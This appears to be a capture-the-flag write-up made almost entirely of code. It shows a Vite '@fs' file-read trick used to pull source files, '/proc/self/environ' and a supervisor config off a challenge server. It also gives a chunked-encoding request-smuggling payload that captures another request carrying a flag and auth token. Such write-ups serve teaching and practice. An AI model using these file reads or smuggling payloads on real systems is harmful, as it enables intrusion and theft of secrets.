1
http://1.116.118.188:30211/@fs/app/frontend/src/App.jsx
2

3
http://1.116.118.188:30211/@fs/app/frontend/src/main.jsx
4

5
http://1.116.118.188:30211/@fs/app/frontend/src/utils/request.js

1
import axios from "/node_modules/.vite/deps/axios.js?v=22a178ca";
2

3
const request = axios.create({
4
  timeout: 5000
5
});
6

7
request.interceptors.request.use(config => {
8
  const token = localStorage.getItem('token');
9
  if (token) {
10
    config.headers['Authorization'] = token;
11
  }
12
  return config;
13
}, error => {
14
  return Promise.reject(error);
15
});
16

17
request.interceptors.response.use(response => {
18
  return response.data;
19
}, error => {
20
  if (error.response) {
21
    alert(error.response.data.error || 'Request Failed');
22
  }
23
  return Promise.reject(error);
24
});
25

26
export default request;

1
// http://1.116.118.188:30211/@fs/app/frontend/vite.config.js
2
import { defineConfig } from 'vite'
3
import react from '@vitejs/plugin-react'
4

5
// https://vitejs.dev/config/
6
export default defineConfig({
7
  plugins: [react()],
8
  server: {
9
    host: '0.0.0.0',
10
    port: 5173,
11
    allowedHosts: true,
12
  }
13
})

1
// http://1.116.118.188:30211/@fs/app/frontend/proxy.js
2
import http from 'http';
3
import httpProxy from 'http-proxy';
4

5
const RUST_TARGET = 'http://127.0.0.1:3000';
6
const VITE_TARGET = 'http://127.0.0.1:5173';
7

8
const proxy = httpProxy.createProxyServer({
9
  agent: new http.Agent({
10
    keepAlive: true,
11
    maxSockets: 100,
12
    keepAliveMsecs: 10000
13
  }),
14
  xfwd: true,
15
});
16

17
proxy.on('error', (err, req, res) => {
18
  console.error('[Proxy Error]', err.message);
19
  if (res && !res.headersSent) {
20
    try { res.writeHead(502); res.end('Bad Gateway'); } catch(e){}
21
  }
22
});
23

24
const server = http.createServer((req, res) => {
25
  if (req.url.startsWith('/api/')) {
26
    proxy.web(req, res, { target: RUST_TARGET });
27
  } else {
28
    proxy.web(req, res, { target: VITE_TARGET });
29
  }
30
});
31

32
console.log(\"馃敟 Node.js Dumb Proxy running on port 80\");
33
server.listen(80);

1
// http://1.116.118.188:30211/@fs/app/frontend/package.json
2
{
3
  "name": "bunbunmaru-frontend",
4
  "private": true,
5
  "version": "0.0.0",
6
  "type": "module",
7
  "scripts": {
8
    "dev": "vite",
9
    "build": "vite build",
10
    "lint": "eslint .",
11
    "preview": "vite preview",
12
    "start-proxy": "node proxy.js"
13
  },
14
  "dependencies": {
15
    "axios": "^1.6.0",
16
    "react": "^18.2.0",
17
    "react-dom": "^18.2.0",
18
    "react-router-dom": "^6.20.0",
19
    "http-proxy": "^1.18.1"
20
  },
21
  "devDependencies": {
22
    "@types/react": "^18.2.0",
23
    "@types/react-dom": "^18.2.0",
24
    "@vitejs/plugin-react": "^4.2.0",
25
    "eslint": "^8.50.0",
26
    "vite": "6.2.0"
27
  }
28
}

1
// http://1.116.118.188:30211/@fs/proc/self/environ?import&raw??
2

3
export default "KUBERNETES_SERVICE_PORT=443\u0000KUBERNETES_PORT=tcp://10.43.0.1:443\u0000npm_config_user_agent=npm/10.8.2 node/v18.20.8 linux x64 workspaces/false\u0000NODE_VERSION=18.20.8\u0000SUPERVISOR_GROUP_NAME=vite-frontend\u0000HOSTNAME=ret2shell-212-3058-1770605791\u0000YARN_VERSION=1.22.22\u0000npm_node_execpath=/usr/local/bin/node\u0000npm_config_noproxy=\u0000HOME=/root\u0000npm_package_json=/app/frontend/package.json\u0000LC_CTYPE=C.UTF-8\u0000npm_config_userconfig=/root/.npmrc\u0000npm_config_local_prefix=/app/frontend\u0000COLOR=0\u0000npm_config_prefix=/usr/local\u0000npm_config_npm_version=10.8.2\u0000npm_config_cache=/root/.npm\u0000KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1\u0000npm_config_node_gyp=/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js\u0000PATH=/app/frontend/node_modules/.bin:/app/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin:/app/frontend:/app/backend:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE=/usr/local/bin/node\u0000npm_package_name=bunbunmaru-frontend\u0000KUBERNETES_PORT_443_TCP_PORT=443\u0000KUBERNETES_PORT_443_TCP_PROTO=tcp\u0000SUPERVISOR_ENABLED=1\u0000npm_lifecycle_script=vite\u0000npm_package_version=0.0.0\u0000npm_lifecycle_event=dev\u0000KUBERNETES_SERVICE_PORT_HTTPS=443\u0000KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443\u0000SUPERVISOR_PROCESS_NAME=vite-frontend\u0000npm_config_globalconfig=/usr/local/etc/npmrc\u0000npm_config_init_module=/root/.npm-init.js\u0000KUBERNETES_SERVICE_HOST=10.43.0.1\u0000PWD=/app/frontend\u0000npm_execpath=/usr/local/lib/node_modules/npm/bin/npm-cli.js\u0000npm_config_global_prefix=/usr/local\u0000npm_command=run-script\u0000INIT_CWD=/app/frontend\u0000EDITOR=vi\u0000"

1
// http://1.116.118.188:30211/@fs/app/src/handlers.rs?import&raw??
2
use crate::http_parser::Request;
3
use std::sync::Mutex;
4
use std::collections::HashMap;
5
use serde::{Deserialize, Serialize};
6
use lazy_static::lazy_static;
7
use uuid::Uuid;
8

9
lazy_static! {
10
    static ref USERS: Mutex<HashMap<String, UserRecord>> = Mutex::new(HashMap::new());
11

12
    static ref COMMENTS: Mutex<Vec<CommentData>> = Mutex::new(Vec::new());
13
}
14

15
#[derive(Deserialize)]
16
struct AuthRequest {
17
    username: String,
18
    password: String,
19
}
20

21
#[derive(Clone)]
22
struct UserRecord {
23
    password: String,
24
    token: String,
25
}
26

27
#[derive(Serialize, Deserialize, Clone)]
28
struct CommentData {
29
    username: String,
30
    content: String,
31
}
32

33
fn make_resp(status: &str, body: &str) -> String {
34
    format!(
35
        "HTTP/1.1 {}\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{}",
36
        status,
37
        body.len(),
38
        body
39
    )
40
}
41

42
fn resp_ok(msg: &str) -> String {
43
    make_resp("200 OK", msg)
44
}
45

46
pub fn resp_err(status: &str, msg: &str) -> String {
47
    make_resp(status, &format!(r#"{{"error": "{}"}}"#, msg))
48
}
49

50
pub fn handle_register(req: &Request) -> String {
51
    if req.method != "POST" {
52
        return resp_err("405 Method Not Allowed", "Only POST");
53
    }
54

55
    let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
56
    let form: AuthRequest = if content_type.contains("application/json") {
57
        match req.parse_json() {
58
            Ok(d) => d,
59
            Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"),
60
        }
61
    } else if content_type.contains("application/x-www-form-urlencoded") {
62
        let map = req.parse_form();
63

64
        let username = map.get("username").cloned().unwrap_or_default();
65
        let password = map.get("password").cloned().unwrap_or_default();
66

67
        if username.is_empty() || password.is_empty() {
68
            return resp_err("400 Bad Request", "Missing username or password");
69
        }
70

71
        AuthRequest { username, password }
72
    } else {
73
        return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
74
    };
75

76
    let mut db = USERS.lock().unwrap();
77
    if db.contains_key(&form.username) {
78
        return resp_err("409 Conflict", "User already exists");
79
    }
80
    let new_token = Uuid::new_v4().to_string();
81
    db.insert(
82
        form.username.clone(),
83
        UserRecord {
84
            password: form.password,
85
            token: new_token.clone(),
86
        },
87
    );
88
    println!("User registered: {} with token: {}", form.username, new_token);
89

90
    resp_ok(&format!(
91
        r#"{{"status": "registered", "token": "{}"}}"#,
92
        new_token
93
    ))
94
}
95

96
pub fn handle_login(req: &Request) -> String {
97
    if req.method != "POST" {
98
        return resp_err("405 Method Not Allowed", "Only POST");
99
    }
100

101
    let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
102
    let form: AuthRequest = if content_type.contains("application/json") {
103
        match req.parse_json() {
104
            Ok(d) => d,
105
            Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"),
106
        }
107
    } else if content_type.contains("application/x-www-form-urlencoded") {
108
        let map = req.parse_form();
109

110
        let username = map.get("username").cloned().unwrap_or_default();
111
        let password = map.get("password").cloned().unwrap_or_default();
112

113
        if username.is_empty() || password.is_empty() {
114
            return resp_err("400 Bad Request", "Missing username or password");
115
        }
116

117
        AuthRequest { username, password }
118
    } else {
119
        return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
120
    };
121

122
    let db = USERS.lock().unwrap();
123

124
    if let Some(record) = db.get(&form.username) {
125
        if record.password == form.password {
126
            return resp_ok(&format!(
127
                r#"{{"status": "success", "token": "{}"}}"#,
128
                record.token
129
            ));
130
        }
131
    }
132

133
    resp_err("401 Unauthorized", "Invalid credentials")
134
}
135

136
pub fn handle_comment(req: &Request) -> String {
137
    let auth_header = req.headers.get("authorization").map(|v| v.as_str());
138
    if auth_header.is_none() {
139
        return resp_err("401 Unauthorized", "Missing Authorization header");
140
    }
141
    let input_token = auth_header.unwrap();
142
    let mut current_user = String::new();
143
    {
144
        let db = USERS.lock().unwrap();
145
        for (username, record) in db.iter() {
146
            if record.token == input_token {
147
                current_user = username.clone();
148
                break;
149
            }
150
        }
151
    }
152

153
    if current_user.is_empty() {
154
        return resp_err("403 Forbidden", "Invalid Token");
155
    }
156

157
    match req.method.as_str() {
158
        "GET" => {
159
            let db = COMMENTS.lock().unwrap();
160
            let json = serde_json::to_string(&*db).unwrap_or("[]".to_string());
161
            resp_ok(&json)
162
        }
163

164
        "POST" => {
165
            #[derive(Deserialize)]
166
            struct NewComment {
167
                content: String,
168
            }
169

170
            let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
171
            let new_comment: NewComment = if content_type.contains("application/json") {
172
                match req.parse_json() {
173
                    Ok(p) => p,
174
                    Err(_) => return resp_err("400 Bad Request", "Invalid JSON"),
175
                }
176
            } else if content_type.contains("application/x-www-form-urlencoded") {
177
                let map = req.parse_form();
178

179
                let content = map.get("content").cloned().unwrap_or_default();
180

181
                if content.is_empty() {
182
                    return resp_err("400 Bad Request", "Missing content");
183
                }
184

185
                NewComment { content }
186
            } else {
187
                return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
188
            };
189

190
            let mut comments = COMMENTS.lock().unwrap();
191

192
            println!("[HANDLER] Saving comment: {:?}", new_comment.content);
193

194
            comments.push(CommentData {
195
                username: current_user,
196
                content: new_comment.content,
197
            });
198

199
            resp_ok(r#"{"status": "comment added"}"#)
200
        }
201
        _ => resp_err("405 Method Not Allowed", "Method not supported"),
202
    }
203
}
204

205
pub fn resp_not_found() -> String {
206
    resp_err("404 Not Found", "Resource not found")
207
}

1
// http://1.116.118.188:30211/@fs/app/src/main.rs?import&raw??
2
mod http_parser;
3
mod handlers;
4

5
use bytes::{Buf, BytesMut};
6
use http_parser::ParseResult;
7
use tokio::io::{AsyncReadExt, AsyncWriteExt};
8
use tokio::net::{TcpListener, TcpStream};
9

10
#[tokio::main]
11
async fn main() -> Result<(), Box<dyn std::error::Error>> {
12
    let listener = TcpListener::bind("0.0.0.0:3000").await?;
13
    println!("server running on 127.0.0.1:3000");
14

15
    loop {
16
        let (socket, _) = listener.accept().await?;
17

18
        tokio::spawn(async move {
19
            if let Err(e) = process_connection(socket).await {
20
                eprintln!("Connection error: {}", e);
21
            }
22
        });
23
    }
24
}
25

26
async fn process_connection(mut socket: TcpStream) -> Result<(), Box<dyn std::error::Error>> {
27
    let mut buffer = BytesMut::with_capacity(4096);
28

29
    loop {
30
        let n = socket.read_buf(&mut buffer).await?;
31

32
        if n == 0 {
33
            if buffer.is_empty() {
34
                return Ok(());
35
            } else {
36
                eprintln!(
37
                    "Connection closed with {} bytes remaining (garbage)",
38
                    buffer.len()
39
                );
40
                return Ok(());
41
            }
42
        }
43

44
        loop {
45
            match http_parser::parse_packet(&mut buffer) {
46
                ParseResult::Complete(req, consumed_len) => {
47
                    println!("Parsed request: {} {}", req.method, req.route);
48
                    let response = router(&req);
49
                    socket.write_all(response.as_bytes()).await?;
50
                    buffer.advance(consumed_len);
51
                }
52

53
                ParseResult::Partial => {
54
                    break;
55
                }
56

57
                ParseResult::Invalid(skip_len) => {
58
                    println!("Warning: Skipping {} bytes of garbage data...", skip_len);
59
                    buffer.advance(skip_len);
60

61
                    if buffer.is_empty() {
62
                        break;
63
                    }
64
                }
65
            }
66
        }
67
    }
68
}
69

70
fn router(req: &http_parser::Request) -> String {
71
    if req.version != "HTTP/1.1" {
72
        return handlers::resp_err(
73
            "400 Bad Request",
74
            "Wrong HTTP Version. Only HTTP/1.1 is supported.",
75
        );
76
    }
77

78
    if !req.queries.is_empty() {
79
        println!("  -> Query params: {:?}", req.queries);
80
    }
81

82
    match req.route.as_str() {
83
        "/api/register" => handlers::handle_register(req),
84
        "/api/login" => handlers::handle_login(req),
85
        "/api/comment" => handlers::handle_comment(req),
86
        _ => handlers::resp_not_found(),
87
    }
88
}

1
// http://1.116.118.188:30211/@fs/app/src/http_parser.rs?import&raw??
2
use bytes::BytesMut;
3
use serde::Deserialize;
4
use std::{collections::HashMap, str};
5

6
#[derive(Debug)]
7
pub struct Request {
8
    pub method: String,
9
    pub route: String,
10
    pub queries: HashMap<String, String>,
11
    pub version: String,
12
    pub headers: HashMap<String, String>,
13
    pub body: String,
14
}
15

16
pub enum ParseResult {
17
    Complete(Request, usize),
18
    Partial,
19
    Invalid(usize),
20
}
21

22
impl Request {
23
    pub fn parse_form(&self) -> HashMap<String, String> {
24
        let mut map = HashMap::new();
25
        for pair in self.body.split('&') {
26
            if let Some((k, v)) = pair.split_once('=') {
27
                if !k.is_empty() {
28
                    map.insert(k.to_string(), v.to_string());
29
                }
30
            } else if !pair.is_empty() {
31
                map.insert(pair.to_string(), "".to_string());
32
            }
33
        }
34
        map
35
    }
36

37
    pub fn parse_json<T: for<'a> Deserialize<'a>>(&self) -> Result<T, serde_json::Error> {
38
        serde_json::from_str(&self.body)
39
    }
40
}
41

42
pub fn parse_packet(buffer: &mut BytesMut) -> ParseResult {
43
    let req_line_end = match buffer.windows(2).position(|w| w == b"\r\n") {
44
        Some(pos) => pos,
45
        None => return ParseResult::Partial,
46
    };
47

48
    let req_line_len = req_line_end + 2;
49

50
    let raw_req_line = match str::from_utf8(&buffer[..req_line_end]) {
51
        Ok(s) => s,
52
        Err(_) => return ParseResult::Invalid(req_line_len),
53
    };
54

55
    let (method, route, queries, version) = match parse_reqline(raw_req_line) {
56
        Some(res) => res,
57
        None => return ParseResult::Invalid(req_line_len),
58
    };
59

60
    let header_end = match buffer.windows(4).position(|w| w == b"\r\n\r\n") {
61
        Some(pos) => pos,
62
        None => return ParseResult::Partial,
63
    };
64

65
    let raw_headers = match str::from_utf8(&buffer[req_line_len..header_end]) {
66
        Ok(s) => s,
67
        Err(_) => return ParseResult::Invalid(header_end + 4),
68
    };
69
    let headers = parse_headers(raw_headers);
70

71
    let body_length: usize = headers
72
        .get("content-length")
73
        .and_then(|v| v.parse().ok())
74
        .unwrap_or(0);
75

76
    let total_len = header_end + 4 + body_length;
77
    if buffer.len() < total_len {
78
        return ParseResult::Partial;
79
    }
80

81
    let body_start = header_end + 4;
82
    let body_end = body_start + body_length;
83
    let body = str::from_utf8(&buffer[body_start..body_end])
84
        .unwrap_or("")
85
        .to_string();
86

87
    ParseResult::Complete(
88
        Request {
89
            method,
90
            route,
91
            queries,
92
            version,
93
            headers,
94
            body,
95
        },
96
        total_len,
97
    )
98
}
99

100
fn parse_headers(raw_headers: &str) -> HashMap<String, String> {
101
    let lines = raw_headers.lines();
102
    let mut headers: HashMap<String, String> = HashMap::new();
103
    for line in lines {
104
        if let Some((k, v)) = line.split_once(":") {
105
            if !k.is_empty() {
106
                headers.insert(k.trim().to_lowercase(), v.trim().to_string());
107
            }
108
        }
109
    }
110
    headers
111
}
112

113
fn parse_reqline(raw_req_line: &str) -> Option<(String, String, HashMap<String, String>, String)> {
114
    let mut raw_req_parts = raw_req_line.split_whitespace();
115
    let method = raw_req_parts.next()?.to_string();
116
    let raw_uri = raw_req_parts.next()?;
117
    let (path, queries) = parse_uri(raw_uri);
118
    let version = raw_req_parts.next()?.to_string();
119
    Some((method, path, queries, version))
120
}
121

122
fn parse_uri(raw_uri: &str) -> (String, HashMap<String, String>) {
123
    let (path, raw_query) = match raw_uri.split_once("?") {
124
        Some((p, q)) => (p, q),
125
        None => (raw_uri, ""),
126
    };
127

128
    let mut queries: HashMap<String, String> = HashMap::new();
129

130
    if !raw_query.is_empty() {
131
        for query in raw_query.split("&") {
132
            if query.is_empty() {
133
                continue;
134
            }
135

136
            let (k, v) = match query.split_once("=") {
137
                Some((k, v)) => (k, v),
138
                None => (query, ""),
139
            };
140

141
            if !k.is_empty() {
142
                queries.insert(k.to_string(), v.to_string());
143
            }
144
        }
145
    }
146
    (path.to_string(), queries)
147
}

1
# http://1.116.118.188:30211/@fs/etc/supervisor/conf.d/supervisord.conf?import&raw??
2
[supervisord]
3
nodaemon=true
4
user=root
5

6
[program:rust-backend]
7
directory=/app
8
command=/app/backend_server
9
user=ctf
10
autostart=true
11
autorestart=true
12
stdout_logfile=/dev/stdout
13
stdout_logfile_maxbytes=0
14
stderr_logfile=/dev/stderr
15
stderr_logfile_maxbytes=0
16

17
[program:vite-frontend]
18
directory=/app/frontend
19
command=npm run dev -- --host 0.0.0.0 --port 5173
20
user=ctf
21
autostart=true
22
autorestart=true
23
stdout_logfile=/dev/stdout
24
stdout_logfile_maxbytes=0
25
stderr_logfile=/dev/stderr
26
stderr_logfile_maxbytes=0
27

28
[program:node-proxy]
29
directory=/app/frontend
30
command=node proxy.js
31
user=root
32
autostart=true
33
autorestart=true
34
stdout_logfile=/dev/stdout
35
stdout_logfile_maxbytes=0
36
stderr_logfile=/dev/stderr
37
stderr_logfile_maxbytes=0

1
POST /api/login HTTP/1.1
2
Host: 127.0.0.1
3
Content-Type: application/json
4
Transfer-Encoding: chunked
5
Connection: keep-alive
6

7
<chunk_size>
8
POST /api/comment HTTP/1.1
9
Host: 127.0.0.1
10
Authorization: <Token>
11
Content-Type: application/x-www-form-urlencoded
12
Content-Length: 350
13

14
content=
15
0

1
ParseResult::Invalid(skip_len) => {
2
    println!("Warning: Skipping {} bytes of garbage data...", skip_len);
3
    buffer.advance(skip_len);
4

5
    if buffer.is_empty() {
6
        break;
7
    }
8
}

1
POST /api/comment HTTP/1.1
2
Host: 127.0.0.1
3
Authorization: <Token>
4
Content-Type: application/x-www-form-urlencoded
5
Content-Length: 350
6

7
content=

1
ParseResult::Partial => {
2
    break;
3
}

1
POST /api/comment HTTP/1.1
2
x-forwarded-host: localhost
3
x-forwarded-proto: http
4
x-forwarded-port: 80
5
x-forwarded-for: ::1
6
content-type: application/json
7
content-length: 208
8
flag: hgame{TH15-l5-4_d4lLy-N3W5137d6111ef}
9
authorization: 9845391c-af5a-4373-90e4-d57e7ebc1704
10
connection: keep-alive
11
accept: application/json
12
accept-encoding: gzip, deflate
13
user-agent: Bunbunmaru-Off